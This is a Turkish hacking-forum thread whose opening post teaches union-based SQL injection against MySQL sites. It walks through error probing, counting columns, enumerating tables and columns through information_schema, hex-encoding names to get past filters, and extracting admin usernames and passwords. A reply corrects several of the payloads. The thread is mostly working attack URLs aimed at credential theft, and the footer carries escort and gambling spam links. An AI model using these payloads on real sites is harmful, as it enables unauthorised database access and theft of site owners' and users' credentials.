Sql İnjection Anlatım

BlackShadow

Spys-Z
Katılım
3 Eyl 2014
Mesajlar
264
Tepkime puanı
0
Puanları
0
Anlatım: Black-Shadow

SQL İnjection Anlatımı:

Arkadaşlar Anlatım Tamamen Bana Aittir Haydi Başlayalım Bu Açığı Kesinlikle Küçük Görmeyin Bu Açık Devlet Sitesinde Bile
Olabilecek Tür’den Bir Açık.

MySQL İnjection’dan Başlıyalım

http://blackshadow.com/profile.php?id=1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’\\\\"’ at line 1
Hatamız Gelirse Bilin ki Ahanda Sql Açığı Sql Açığını Tespit Etmek İçin ’a ’ Koymanız Yeterli.
Gelin Kolon Sayımızı Öğrenelim Ne Dersiniz

http://www.blackshadow.com/profile.php?id=1+order+by+31

31 Yazdık Ve Hata Verdi.Şimdi Hata Vermeyene Kadar Aşşağı ineceğiz.

http://www.blackshadow.com/profile.php?id=1+order+by+31
http://www.blackshadow.com/profile.php?id=1+order+by+30
http://www.blackshadow.com/profile.php?id=1+order+by+29
http://www.blackshadow.com/profile.php?id=1+order+by+28

28 De Ekran Düzeldi Demekki Kolon Sayımız 28

Şimdi Kolonları Ekrana Yansıtalım.


http://www.blackshadow.com/profile.p...24,25,26,27,28

Kolon Sayımız 28 Olduğu için union+select+...28 e kadar yazıyoruz.

Ekrana 5,9 Kolonları Yansıdığını Varsayarak Devam Ediyoruz.

Ha Arkadaşlar Anaa Baktınız Yansımadı Hiiç Korkmayın (--)Yapın. Buna Bypass Diyebilirsiniz.

Şimdi Version İsteyelim.

http://www.blackshadow/profile.php?id=-1 union select 1,...,version(),15,16,17,18,19,20 ,21,22,23,25,26,27

14.0.91mm-log Yazdırdık.Hangi Numara İle Başlarsa Versionu odur..Yani 14.


Şimdi İse Database den Tabloları alalım.

http://www.blackshadow.com/profile.php?id=-1 union select 1,......,group_concat(table_name),15,16.... from information_schema.tables where table_schema=database()

Tablolarımız Bunlar Olsun :


+---------------------+
| admin|
| kullanıcı|
| dosya_isimleri |
| externallinks |
| haber|
| araba |
| spiker |
| konuklar |
| presskit |
+---------------------+


adminuser = Bunu Gördüysen Hedefe Yaklaştın Demektir.

Şimdi Tablodan Column’ları Çekelim.

http://www.blackshadow.com/profile.php?id=-1 union select 1,.....,group_concat(column_name),15,16.... from information_schema.columns where table_schema=database() and table_name='adminuser'

Bu Şekilde Yazdık Ama Hata Verdi.Çünkü adminuser den Kolonları İstediğimizde Bi Tür Engel Çıktı.Yani Yansıtamadık.Bunu Gidermek İçin adminuser i Hex leyeceğiz.

Hex Converter

http://www.dolcevie.com/js/converter.html Girin.



Sonucumuz 61:64:6d:69:6e:75:73:65:72 Bu Şekilde Çıkacak Ama Biz Onu 0x61646d696e75736572 Bu Şekilde Yapacağız.Yani iki noktaralı silip Başına *** Koyacağız.

http://www.blackshadow.com/profile.p.....6e75736572--

Evet Bu Şekilde.Şimdi Verilerimizi Çekelim.


username
password


Olsun

http://blackshadow.com/profile.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,username,14,15,password,17 from adminuser--

Ve Bitişi Yapalım :


SQL: Kullanıcı Adı
İnjection : Şifre

Arkadaşlar Eksiğim Kusurum Var ise Hakkınızı Helal Edin Umarım Doğru Bir Makale Olmuştur
 

By Cod3r

Yeni Üye
Katılım
11 Şub 2014
Mesajlar
50
Tepkime puanı
0
Puanları
0
kardesım sağolasan da vıdeo cekmeyı dusunmedınmı
 

ByDokunulmaz

Özel Üye
Katılım
25 Haz 2013
Mesajlar
935
Tepkime puanı
0
Puanları
0
Yaş
29
Web sitesi
ajanlar.org
öncelikle union select komutunu unutmuşsun ve id değerinin başına (-) koymayı
versiyon çekmek içn şöyle yapmışsın;
http://www.blackshadow/profile.php?id=-1 union select 1,............,(14),15,16,17,18,19,20 ,21,22,23,25,26,27
Doğrusu;
http://www.blackshadow/profile.php?id=-1 union select 1,...,version(),15,16,17,18,19,20 ,21,22,23,25,26,27 olacaktı.
------------------------

http://www.blackshadow.com/profile.p.....database()-- tablolar bu şekilde değil burasıda yanlış

http://www.blackshadow.com/profile.php?id=-1 union select 1,......,group_concat(table_name),15,16.... from information_schema.tables where table_schema=database() olacaktı.

-------------------------
column böyle yazmışsın

http://www.blackshadow.com/profile.p.....=adminuser--

doğrusu

http://www.blackshadow.com/profile.php?id=-1 union select 1,.....,group_concat(column_name),15,16.... from information_schema.columns where table_schema=database() and table_name='adminuser' olacaktı hex olayı doğru fakat hexledikten sonra and table_name=0x61646d696e75736572 yani başa 0x ekliyoruz.


verileri çekerken de şu şekil

http://blackshadow.com/profile.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,username,14,15,password,17 from adminuser--

şeklinde yapıyoruz.
Saygılar..
 

mersin escort bodrum escort fethiye escort alanya escort konya escort marmaris escort bodrum escort vozol puff sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort ankara escort bursa travesti https://vipankaratravesti.com/ meritking giriş
Üst
Copyright® Ajanlar.org 2012